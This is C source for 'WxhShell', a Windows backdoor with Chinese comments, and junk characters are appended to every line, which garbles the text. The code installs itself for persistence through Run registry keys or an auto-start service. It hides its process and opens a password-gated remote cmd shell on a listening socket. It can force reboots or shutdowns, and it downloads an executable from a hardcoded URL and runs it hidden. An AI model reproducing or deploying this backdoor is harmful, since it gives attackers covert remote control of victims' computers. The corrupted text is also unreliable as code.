  case 'd': { %F 2h C x  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7?Wte&C];p  
    if(Boot(SHUTDOWN)) ..)J6L5l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'C'mgEl%L  
    else { zXY8:+f  
    closesocket(wsh); ZyGoOk  
    ExitThread(0); [:y:_ECs6  
    } T8o](:B~  
    break; m)Plv+R}  
    } Ek{QNlQ]4  
  // 获取shell 0caZ_-zU  
  case 's': { 1rm\u%  
    CmdShell(wsh); =tOB fRM  
    closesocket(wsh); FiUQ2w4  
    ExitThread(0); f% pT-#  
    break; *dw.=a9  
  } f{P1.?a  
  // 退出 Jl{ 0q7b  
  case 'x': { Ehx9-*]  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Tv=lr6t8  
    CloseIt(wsh); (7Z+De?  
    break; U~x]2{}  
    } 2l<2srEK  
  // 离开 PQ&*(G  
  case 'q': { O4R\] B#Xu  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /hl'T'RG  
    closesocket(wsh); wMW<lT=;  
    WSACleanup(); 0g?)j-  
    exit(1); :$k*y%Z*N&  
    break; h&>3;Lj  
        } cb}zCl j o  
  } *[[Gu^t^!  
  } d0(zB5'}  
E4 X6f  
  // 提示信息 y:;.r:  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9;@p2t*v  
} %O \@rws  
  } ^&>B,;Wu  
7ch9Pf  
  return; mLhM_=  
} 47q> q  
p'R<yB)V  
// shell模块句柄 P 45Irir  
int CmdShell(SOCKET sock) xp^RAVXq`  
{ P[3i!"O>  
STARTUPINFO si; =~1EpZ  
ZeroMemory(&si,sizeof(si)); r:H]`Uo'r  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .&^p@A~  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6w^P{%ul  
PROCESS_INFORMATION ProcessInfo; gb_Y]U  
char cmdline[]="cmd"; ,X@o@W+L  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Uy?jVPL  
  return 0; j?K$w`  
} #3&@FzD_P  
=CLPz8  
// 自身启动模式 "hk# pQ  
int StartFromService(void) e*:K79 y  
{ |v!N1+v0  
typedef struct OC=&!<  
{ d(q1 ?{zr4  
  DWORD ExitStatus; p@tg pFt  
  DWORD PebBaseAddress; *[si!e%  
  DWORD AffinityMask; @]Cg5QW>T  
  DWORD BasePriority; T fLqxioqZ  
  ULONG UniqueProcessId; QEyL/#Q  
  ULONG InheritedFromUniqueProcessId; 0 +=sBk (  
}   PROCESS_BASIC_INFORMATION; _T\~%  
<M:BN6-yG  
PROCNTQSIP NtQueryInformationProcess; JEto_&8,C  
kdNo<x1o  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :&BPKqKp  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &L8RLSfX  
x UdF.c  
  HANDLE             hProcess; yv,FzF}7  
  PROCESS_BASIC_INFORMATION pbi; @| z _&E  
6 U.Jaai:  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <h#*wy:o2  
  if(NULL == hInst ) return 0; 3TwjC:Yhv2  
.QvD603%5  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); s#X/ F  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); iH(7.?.r  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Q|_F P:  
;.}L# '0j  
  if (!NtQueryInformationProcess) return 0; z D{]3pg  
~` tuPk~l  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); tq L(H25z  
  if(!hProcess) return 0; u^2`$W  
!ku}vTe  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =KPmZ,/w  
VX)8 pV$  
  CloseHandle(hProcess); X$kLBG_  
<F9-$_m  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); dseI~}  
if(hProcess==NULL) return 0; L)'G_)Sl  
:;%Jm  
HMODULE hMod; r^ r+h[V  
char procName[255]; 2C S9v  
unsigned long cbNeeded; _U~R   
Q>1BOH1by  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $LXa]  
SAm%$v z%M  
  CloseHandle(hProcess); hUMG}<  
ifn=De3+  
if(strstr(procName,"services")) return 1; // 以服务启动 3bRxV @0.  
//@6w;P  
  return 0; // 注册表启动 }c,b]!:  
} 88?bUA3]  
#BRIp(65-6  
// 主模块 O=Su E/q  
int StartWxhshell(LPSTR lpCmdLine) kQ+y9@=/g  
{ PZ]tl  
  SOCKET wsl; 5_9`v@-4_  
BOOL val=TRUE; F,_L}  
  int port=0; f`qy~M&  
  struct sockaddr_in door; -zK>{)Z=q  
v`4w=!4  
  if(wscfg.ws_autoins) Install(); ?_H9>/:.  
8\{!*?9!  
port=atoi(lpCmdLine); > .wZEQ6QK  
Cd'D ~'=  
if(port<=0) port=wscfg.ws_port; KM&P5}  
W?Z>g"  
  WSADATA data; >LPb>t5%p  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; w:zo \  
Xqf\}p n  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   jIKg* @  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); g9C ; JmU  
  door.sin_family = AF_INET; czRBuo+k+  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); SK}jhm"y  
  door.sin_port = htons(port); hj];a,Br&  
[Qs`@u<%  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =z}PR1X!  
closesocket(wsl); Jt$YSp=!!  
return 1; !*l/Pr^8  
} "dpjxH=xO  
SS/vw%  
  if(listen(wsl,2) == INVALID_SOCKET) { JE O$v|X  
closesocket(wsl); JpXv+V  
return 1; W B:0}b0Gu  
} ~ZafTCa;  
  Wxhshell(wsl); 0YoKSo  
  WSACleanup(); Y%i<~"k  
4 QQt 0u0  
return 0; 4j3q69TZR  
]I*RuDv}  
} 2*snMA  
inW7t2p<s  
// 以NT服务方式启动 .]>Tj^1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) WSpF/Wwc  
{ -#I]/7^  
DWORD   status = 0; eX\v;~W*  
  DWORD   specificError = 0xfffffff; |0Z J[[2  
10Eun }  
  serviceStatus.dwServiceType     = SERVICE_WIN32; M2%@bETJ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; pCkMm)2g!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; La6 9or   
  serviceStatus.dwWin32ExitCode     = 0; 0=,Nz  
  serviceStatus.dwServiceSpecificExitCode = 0; QYH#WrIVx  
  serviceStatus.dwCheckPoint       = 0; jA "}\^%3  
  serviceStatus.dwWaitHint       = 0; Sk EI51]  
n]6 '!Eo  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); W$]qo|2P  
  if (hServiceStatusHandle==0) return; Qw_uwQZ)  
L%H\|>k`  
status = GetLastError(); yoGG[l2k>s  
  if (status!=NO_ERROR) \asn^V@"zz  
{ >4@w|7lS  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; '-myOM7  
    serviceStatus.dwCheckPoint       = 0; ~g{1lcqQP  
    serviceStatus.dwWaitHint       = 0; 2RZa}  
    serviceStatus.dwWin32ExitCode     = status; S\ak(<X  
    serviceStatus.dwServiceSpecificExitCode = specificError; vcW(?4e  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); T}J)n5U}\  
    return; :Y Ls]JI<  
  } EkV#i  
U _pPI$ =  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; n^1BtP0!  
  serviceStatus.dwCheckPoint       = 0; C_3,|Zq?|  
  serviceStatus.dwWaitHint       = 0; ku/vV+&O  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `i|!wD,=\  
} @D[+@N  
PP! /WX  
// 处理NT服务事件,比如:启动、停止 2iKteJ@h)  
VOID WINAPI NTServiceHandler(DWORD fdwControl) DN%JT[7  
{ l`#rhuy`  
switch(fdwControl) \Dl MOG  
{ 4-HBXG9#/  
case SERVICE_CONTROL_STOP: !d 4DTo  
  serviceStatus.dwWin32ExitCode = 0; 7%$3`4i`O  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; N[-$*F,:_  
  serviceStatus.dwCheckPoint   = 0; 9e.v[K~  
  serviceStatus.dwWaitHint     = 0; W $mw9  
  { ^f N/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); IJ5'n  
  } h:7\S\|8  
  return; <8~c7kT'  
case SERVICE_CONTROL_PAUSE: )Pubur %,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 5GPrZY"  
  break; Vxo?%Dj  
case SERVICE_CONTROL_CONTINUE: H/*slqL  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 9s!R_R&W.  
  break; Za?BpV~  
case SERVICE_CONTROL_INTERROGATE: [xb'73  
  break; zr A3bWs  
}; <}.!G>X  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^N^s|c'  
} 'ahz@+l O  
5{!"}  
// 标准应用程序主函数 89KFZ[.}]  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ffI=Bt]t  
{ 'xG{q+jj'  
1:yil9.\*  
// 获取操作系统版本 eu]qgtg~U  
OsIsNt=GetOsVer(); N_FjEZpX  
GetModuleFileName(NULL,ExeFile,MAX_PATH); M<= e~';H  
hAds15 %C  
  // 从命令行安装 f6\4 ,()  
  if(strpbrk(lpCmdLine,"iI")) Install(); s^.tj41Gx}  
n'j}u  
  // 下载执行文件 `WMU'ezF  
if(wscfg.ws_downexe) { -glGOTk  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) "E4CQL'U  
  WinExec(wscfg.ws_filenam,SW_HIDE); U|QP] 6v  
} g-u4E^,*|  
BW3Q03SW6  
if(!OsIsNt) { !?J- Y  
// 如果时win9x,隐藏进程并且设置为注册表启动 lqO>Q1_{K  
HideProc(); L?M x"  
StartWxhshell(lpCmdLine); y,OG9iD:h  
} xh#pw2v7V  
else &Cm]*$?  
  if(StartFromService()) ={]POL\ A  
  // 以服务方式启动 lu+KfKa  
  StartServiceCtrlDispatcher(DispatchTable); 92C; a5s  
else De{ZQg)  
  // 普通方式启动 QX&Y6CC`]  
  StartWxhshell(lpCmdLine); 2 p}I  
Brd9"M|d  
return 0; '-XO;{,-R  
} @A`j Wao  
+T4}wm  
WjSu4   
=\MAz[IDj  
=========================================== W1LR ,:$  
DvLwX1(l  
d.Ccc/1-  
gLFTnMO  
QctzIC#;k  
z;/8R7L&  
" j/NX  
D#`>p  
#include <stdio.h> D dCcsYm,  
#include <string.h> ;n|%W,b-  
#include <windows.h> !g)rp`?  
#include <winsock2.h> =}I=s@  
#include <winsvc.h> LCzeE7x  
#include <urlmon.h> .RAyi>\e  
1;B&R89}  
#pragma comment (lib, "Ws2_32.lib") > sQ&5-i  
#pragma comment (lib, "urlmon.lib") rQ2TPX<?a  
3` D['  
#define MAX_USER   100 // 最大客户端连接数 Br{(sL0e  
#define BUF_SOCK   200 // sock buffer qzO5p=}  
#define KEY_BUFF   255 // 输入 buffer B[#n,ay  
o Q*LP{M  
#define REBOOT     0   // 重启 )iK:BL*Nw  
#define SHUTDOWN   1   // 关机 N 6\Ey{  
5j0 Ib>\  
#define DEF_PORT   5000 // 监听端口 0V^I.S/q  
-yBj7F|  
#define REG_LEN     16   // 注册表键长度 ,q7FK z{  
#define SVC_LEN     80   // NT服务名长度 >LH}A6dUC  
=w"Kkj>%oh  
// 从dll定义API |B'4wF>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 5v`lCu]  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Ho[]03  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); iC>%P&|-)|  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); S;D]ym  
ab.B?bx  
// wxhshell配置信息 fgC@(dvfk  
struct WSCFG { CPeu="[  
  int ws_port;         // 监听端口 ` vFDO$K  
  char ws_passstr[REG_LEN]; // 口令 R?2HnJh  
  int ws_autoins;       // 安装标记, 1=yes 0=no G%zJ4W%  
  char ws_regname[REG_LEN]; // 注册表键名 D@ !r?E`  
  char ws_svcname[REG_LEN]; // 服务名 fOdqr  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 W2zG"Q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 D`'Cnt/  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 X=lsuKREZ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ._<, Eodv  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" s16, *;Z  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 jt9- v-  
:xbj& l  
}; i: jB  
Iu5 9W >  
// default Wxhshell configuration _' X  
struct WSCFG wscfg={DEF_PORT, mE>{K  
    "xuhuanlingzhe", ?E}gm>  
    1, BSB&zp  
    "Wxhshell", ~{-Ka>A  
    "Wxhshell", Hvy$DX|p  
            "WxhShell Service", \&ZEIAe  
    "Wrsky Windows CmdShell Service", G -K{  
    "Please Input Your Password: ", fE&s 6w&  
  1, x*=m'IM[  
  "http://www.wrsky.com/wxhshell.exe", }m%&|:PH  
  "Wxhshell.exe" KsK]y,^Z  
    }; |!7leL  
7 b(  
// 消息定义模块 (NDC9Lls  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; I|>.&nb  
char *msg_ws_prompt="\n\r? for help\n\r#>"; i_*.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; RP[`\  
char *msg_ws_ext="\n\rExit."; 8faT@J'e;  
char *msg_ws_end="\n\rQuit."; }|N88PN  
char *msg_ws_boot="\n\rReboot..."; `kv7Rr}Q  
char *msg_ws_poff="\n\rShutdown..."; GO@<?>K  
char *msg_ws_down="\n\rSave to "; 3 |LRb/|  
b`j9}t Z  
char *msg_ws_err="\n\rErr!"; 5[r}'08b  
char *msg_ws_ok="\n\rOK!"; OI78wG  
,Shzew+  
char ExeFile[MAX_PATH]; |`Yn'Mj8rm  
int nUser = 0; P>)J:.tr0  
HANDLE handles[MAX_USER]; +]NpcE'  
int OsIsNt; >.9V`m|  
2_o\Wor#  
SERVICE_STATUS       serviceStatus; Nq\)o{<1  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; !7Qj8YmS  
d)D!np=  
// 函数声明 P$N5j~*  
int Install(void); -MsL>F.]  
int Uninstall(void); `k8jFB C  
int DownloadFile(char *sURL, SOCKET wsh); hNkv lk'Ui  
int Boot(int flag); J(maJuY  
void HideProc(void); \Ucv<S  
int GetOsVer(void); BhbfPQ  
int Wxhshell(SOCKET wsl); ?OoI6 3&  
void TalkWithClient(void *cs); #.fJ M:"tG  
int CmdShell(SOCKET sock); n5BD0q  
int StartFromService(void); |22vNt_  
int StartWxhshell(LPSTR lpCmdLine); /L@o.[H  
r|\{!;7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 1q5S"=+W[  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); AcH!KbYf  
m-;8O /  
// 数据结构和表定义 s6 (md<r  
SERVICE_TABLE_ENTRY DispatchTable[] = Y"KJ`Rx  
{ ^-mWk?>  
{wscfg.ws_svcname, NTServiceMain}, _y>drvg  
{NULL, NULL} 3vAP&i'I  
}; :"Tkl$@,  
hu"-dT;4]  
// 自我安装 77aUuP7Iw  
int Install(void) (4yXr|to}  
{ 3B,dL|q(@J  
  char svExeFile[MAX_PATH]; ;V?(j 3b[  
  HKEY key; 9,\AAISi  
  strcpy(svExeFile,ExeFile); !;[cJbqnh  
fl9VokAT  
// 如果是win9x系统,修改注册表设为自启动 J&JZYuuf  
if(!OsIsNt) { aj .7t =^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mJ5%+.V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gM]E8%;{  
  RegCloseKey(key); `v<S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { kjdIk9 Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); PU1YR;[Fe  
  RegCloseKey(key); /0|1xHs  
  return 0; H_x} -  
    } c~OPH 0,  
  } (. YSs   
} _nxu8g]  
else { BzWkZAX  
;1nXJ{jKw  
// 如果是NT以上系统,安装为系统服务 8@S]P0lk  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); O<,\ tZ'N  
if (schSCManager!=0) 88[u^aC  
{ ~dLbhjde n  
  SC_HANDLE schService = CreateService c{?SFwgd  
  ( r%X M`;bQX  
  schSCManager, g=qaq  
  wscfg.ws_svcname, NYG!\u\Rm  
  wscfg.ws_svcdisp, `Eu,SvkFw  
  SERVICE_ALL_ACCESS, Pw7uxN`  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8==M{M/eM  
  SERVICE_AUTO_START, dvZlkMm   
  SERVICE_ERROR_NORMAL, ru`U/6 n  
  svExeFile, `D=`xSEYl  
  NULL, Ki Kw,@  
  NULL, v+79#qWK|n  
  NULL, I2SH j6 -  
  NULL, _G.!^+)kEm  
  NULL L,nb<  
  ); " Qyi/r41  
  if (schService!=0) \QF0(*!!  
  { ; 8eGf'  
  CloseServiceHandle(schService); V,'_BUl+x  
  CloseServiceHandle(schSCManager); ~ QohP`_  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); h#Z,ud_  
  strcat(svExeFile,wscfg.ws_svcname); "XLtrAu{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2*#i/SE_  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); c$BH`" <*  
  RegCloseKey(key); ]SPuNBsy)  
  return 0; h7TkMt[l  
    } #G`K<%{?f  
  } (&r` l&0  
  CloseServiceHandle(schSCManager); 'wMvO{}$  
} En\q. 3 5  
} G{>PYLxOb  
yJ0 %6],^g  
return 1; dtfOFag4_  
} |s(Ih_Zn  
`#8kJt  
// 自我卸载 fR{_P  
int Uninstall(void) Sf.OBU1rs  
{ p9u'nDi  
  HKEY key; mv~?1aIKD  
cS:O|R#%t  
if(!OsIsNt) { 33D2^ Sf6"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $0un`&W  
  RegDeleteValue(key,wscfg.ws_regname); $@] xi  
  RegCloseKey(key); 3"v>y]$U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -OU{99$aS  
  RegDeleteValue(key,wscfg.ws_regname); SDE$ymP x  
  RegCloseKey(key); :FH&#Eq~4  
  return 0; ,c?( |tF  
  } zn&ZXFgN  
} f8N* [by  
} p8)R#QWz9  
else { -@`Ah|m@}  
~OR^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3#dz6+  
if (schSCManager!=0) (jj`}Qe3U  
{ U$+,|\9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;s3\Z^h4kd  
  if (schService!=0) eiyr^Sch.  
  { GI,TE  
  if(DeleteService(schService)!=0) { [XDV-6KCE.  
  CloseServiceHandle(schService); ">3t+A  
  CloseServiceHandle(schSCManager); 1i~q~ O,  
  return 0; Z}>F V~4  
  } dW!El^w}  
  CloseServiceHandle(schService); "M[&4'OM  
  } }+pwSjsno  
  CloseServiceHandle(schSCManager); "-X8  
} s2|.LmC3|B  
} S1Od&v[R  
/^k%sG@?  
return 1; A/UOcl+N  
} <;?1#ok  
#Y=b7|l  
// 从指定url下载文件 z~~pH9=c2  
int DownloadFile(char *sURL, SOCKET wsh) &p_iAMn:9  
{ n^l*oEl  
  HRESULT hr; 6m(? (6+;K  
char seps[]= "/"; _,aFQ^]'9  
char *token; P!IA;i  
char *file; ob2_=hQnC  
char myURL[MAX_PATH]; 6D2ot&5WW  
char myFILE[MAX_PATH]; TlkhI  
kp<Au)u  
strcpy(myURL,sURL); 2YY4 XHQS  
  token=strtok(myURL,seps); 0#8, (6  
  while(token!=NULL) ;]m;p,$  
  { 32SkxcfrCK  
    file=token; )AR- b8..o  
  token=strtok(NULL,seps); ^gp]tAf  
  } p3mZw lO  
{6RA~  
GetCurrentDirectory(MAX_PATH,myFILE); _a& Z$2O  
strcat(myFILE, "\\"); 9{j`eAUZl  
strcat(myFILE, file); ,VEE<* 'X  
  send(wsh,myFILE,strlen(myFILE),0); ZX`x9/0&  
send(wsh,"...",3,0); `5wiXsNjLY  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); w6X:39d  
  if(hr==S_OK) 4^:dmeMZ`  
return 0; -.M J3  
else R13k2jLSQ  
return 1; JeNX5bXW  
% 33O)<?  
} pt3)yj&XE  
DeNWh2  
// 系统电源模块 Fv %@k{  
int Boot(int flag) ?6&G:Uz/  
{ KGo^>us  
  HANDLE hToken; 8,[ *BgeX  
  TOKEN_PRIVILEGES tkp; .JB1#&B +  
F*Hovxez  
  if(OsIsNt) { Vjt7X"_/  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); tx9 %.)M:n  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); tKLeq(  
    tkp.PrivilegeCount = 1; MnF|'t  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2}/r>]9^-  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); - ry  
if(flag==REBOOT) { @d|Sv1d%  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) uE(5q!/  
  return 0;  + @f  
} _xi &%F/  
else { j #P4&  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) OAW_c.)5D  
  return 0; B]<N7NYn1  
} =FIZh}JD  
  } HDzeotD  
  else { @}!?}QU  
if(flag==REBOOT) { {v=[~H>bt  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) dnwzf=+>e  
  return 0; I{U|'a  
} ts@$*  
else { 8,RqhT)2#  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Ax~ i`  
  return 0; Q#ksf h!D  
} DA>nYj-s  
} piIz ff  
>d]-X]  
return 1; StTxga|  
} AI{0;0  
#4LTUVH  
// win9x进程隐藏模块 Op~:z<z  
void HideProc(void) 7]5~ml3:  
{ Lk#)VGk:  
u #}1 M  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); e@Ev']  
  if ( hKernel != NULL ) v*JKLA  
  { +,ar`:x&a  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); H\<0{#F  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <[}zw!z  
    FreeLibrary(hKernel); #<m2Xo?d]  
  } %'e$N9zd  
VZ`YbY  
return; l?J[K  
} dJ])`S  
ip{ b*@K  
// 获取操作系统版本 ]|w~{X!b4  
int GetOsVer(void) ( )ldn?v  
{ :]Om4Q\-#  
  OSVERSIONINFO winfo; s!D2s2b9e  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Wrp+B[ {r\  
  GetVersionEx(&winfo); Xg_l4!T_l  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) iY2q^z/S  
  return 1; q^wSM  
  else tlvZy+Blv  
  return 0; E2cZk6~m{  
} ZK'WKC  
4s_5>r4  
// 客户端句柄模块 ]K>bSK^TX  
int Wxhshell(SOCKET wsl) z%+rI  
{ [U^Cz{G  
  SOCKET wsh;  g;AW  
  struct sockaddr_in client; d*k5h<jM  
  DWORD myID; Rb:?%\=  
knV*,   
  while(nUser<MAX_USER) oVbs^sbRH  
{ A(`Mwh+  
  int nSize=sizeof(client); a x;<idC}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^ . A  
  if(wsh==INVALID_SOCKET) return 1; "ixea- 2  
jHatUez4O  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); b{-|q6  
if(handles[nUser]==0) \21Gg%W5AE  
  closesocket(wsh); LqJV  
else NhF"%  
  nUser++; f61vE  
  } if\`M'3Xx  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); XA.1Y)  
c0&! S-4M  
  return 0; ;KmrBNF  
} a;~< iB;3"  
$*_79F2zN  
// 关闭 socket a7u*d`3X=  
void CloseIt(SOCKET wsh) Z]k@pR !  
{ &><b/,]  
closesocket(wsh); {]m/15/$C  
nUser--; $X\2h+ Os  
ExitThread(0); K~3Y8ca  
} yqtHlz%  
Jx`7W1%T  
// 客户端请求句柄 }jWg&<5+z  
void TalkWithClient(void *cs) U-,s/VQ?  
{ Z}>;@c  
5^ ubXA  
  SOCKET wsh=(SOCKET)cs; 3tkCmB  
  char pwd[SVC_LEN]; itiSZL,  
  char cmd[KEY_BUFF]; |_+l D|'  
char chr[1]; :1gpbfW  
int i,j; #a tL2(wJ  
)_o^d>$da  
  while (nUser < MAX_USER) { 4N7|LxNNl_  
akCCpnX_d  
if(wscfg.ws_passstr) { swJQwY   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y;g\ @j  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =kK%,Mr  
  //ZeroMemory(pwd,KEY_BUFF); '`W6U]7>  
      i=0; dShGIH?  
  while(i<SVC_LEN) { D,=#SBJ:Z  
UFj!7gX]  
  // 设置超时 >$ro\/  
  fd_set FdRead; Qr6PkHU  
  struct timeval TimeOut; ZU z7h^3@  
  FD_ZERO(&FdRead); C,LosAd  
  FD_SET(wsh,&FdRead); NB.'>Sar  
  TimeOut.tv_sec=8; #67 7,dn  
  TimeOut.tv_usec=0; ;7H^;+P  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +/M%%:>mY  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @*=5a (#  
d(b~s2\i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); f3>DmH#  
  pwd=chr[0]; U. $Th_  
  if(chr[0]==0xd || chr[0]==0xa) { Y5"HKW^  
  pwd=0; # M!1W5#  
  break; 7+X~i@#rU  
  } |}<Gz+E>  
  i++;  AKk&  
    } HN5,MD[  
Y)(yw \&v  
  // 如果是非法用户,关闭 socket `}bvbvmA  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <nN# K{AH  
} j}(m$j'  
"oF)u1_?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =1 S%E  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Wa&!1' @  
ub`zS-vb  
while(1) { Jm< uE]9  
jPZpJ:  
  ZeroMemory(cmd,KEY_BUFF); b8vZ^8tBV  
7~k=t!gTY  
      // 自动支持客户端 telnet标准   puMb B9)  
  j=0; N qz6_!  
  while(j<KEY_BUFF) { 0bIgOLP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n:k4t  
  cmd[j]=chr[0]; Unb3 Gv#O  
  if(chr[0]==0xa || chr[0]==0xd) { rQU6*f  
  cmd[j]=0; cKoW5e|u  
  break; }owl7G3  
  } >&7^yXS  
  j++; ?`O^;f  
    } S QGYH  
Un T\6u  
  // 下载文件 r=54@`O!  
  if(strstr(cmd,"http://")) { SR?(z  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %&V%=-O_7  
  if(DownloadFile(cmd,wsh)) S)4p'cUwq  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %*Uc,V  
  else h@(+(fVHrp  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n}(A4^=4KQ  
  } . sFN[>)  
